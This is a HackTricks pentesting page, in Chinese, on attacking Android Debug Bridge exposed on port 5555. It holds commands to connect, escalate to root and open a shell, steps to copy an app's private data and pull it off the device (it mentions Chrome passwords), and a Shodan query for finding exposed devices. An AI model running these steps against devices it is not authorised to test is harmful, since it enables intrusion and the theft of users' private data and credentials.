hacktricks/src/network-services-pentesting/5555-android-debug-bridge.md

38 lines
1.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5555 - Android Debug Bridge
{{#include ../banners/hacktricks-training.md}}
## 基本信息
来自 [the docs](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) 是一个多功能命令行工具允许您与设备进行通信。adb 命令便于执行各种设备操作,例如 **安装和调试应用程序**,并提供 **访问 Unix shell** 的功能,您可以使用它在设备上运行各种命令。
**默认端口**: 5555.
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## 连接
如果找到在设备端口运行的 ADB 服务并且可以连接到它,**您可以获得系统内部的 shell**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
要完全下载应用程序的数据,您可以:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
您可以使用此技巧来**检索敏感信息,例如 Chrome 密码**。有关此的更多信息,请查看提供的参考信息[**这里**](https://github.com/carlospolop/hacktricks/issues/274)。
## Shodan
- `android debug bridge`
{{#include ../banners/hacktricks-training.md}}